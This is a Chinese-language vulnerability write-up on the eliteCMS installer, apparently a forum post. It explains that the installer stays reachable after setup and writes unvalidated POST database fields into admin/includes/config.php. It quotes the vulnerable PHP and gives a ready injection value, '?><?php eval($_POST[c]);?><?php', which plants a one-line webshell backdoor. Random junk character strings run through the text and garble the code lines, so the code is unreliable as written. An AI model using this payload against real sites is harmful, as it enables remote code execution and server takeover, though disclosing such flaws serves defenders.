eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

$ v8 d7 [' i1 H- C6 u# ^另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
2 ]% J& w$ P: b9 A3 M. q" ?. C
0 h& ^4 v3 ^/ z6 W6 l6 t...
elseif ($_GET['step'] == "4") {
, Q  e% P4 X5 e* L5 u9 f5 J  i    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
# E5 Z5 b* j9 V    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
8 }( l: r$ Y) v' k8 G    $write .= "*/\n";
; j5 C. m9 O: M& n2 v) X+ \    $write .= "\n";
6 L; D$ W; e" D" g0 k1 P    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- o% o, ]; U$ d5 M    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
: A3 V8 f' @2 `% m# X9 Q    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
2 Y( E' r6 @& l) R+ O* m    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
+ Y0 U7 s1 v3 [9 O$ L, E    $write .= "if (!\$connection) {\n";
1 q3 J( x  m1 r9 y5 a8 e. h    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
* A( V! s$ ^+ h5 \& t    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
( V+ K; L$ t) a4 N# g    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
+ ]  F7 i! f7 y9 J! q    $write .= "        \n";
    $write .= "} \n";
6 N& a1 i4 @5 B( k' E$ p. ?' C1 [    $write .= "?>\n";
: ^; q0 W- T: g7 ^! z4 q& \$ n
  m. x7 K0 c7 [# d) V. O    $writer = fopen($file, 'w');
...
0 y/ }5 o% y' S$ F
2 [; `! U0 x' \3 u/ v, c在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
) A4 d( K1 M2 u7 C7 Q8 ^$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

6 v- y3 M% l7 R- b! ~2 w" F取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

4 t# ?) H2 ]9 M5 O) ~) ]  T; z将导致一句话后门写入/admin/includes/config.php
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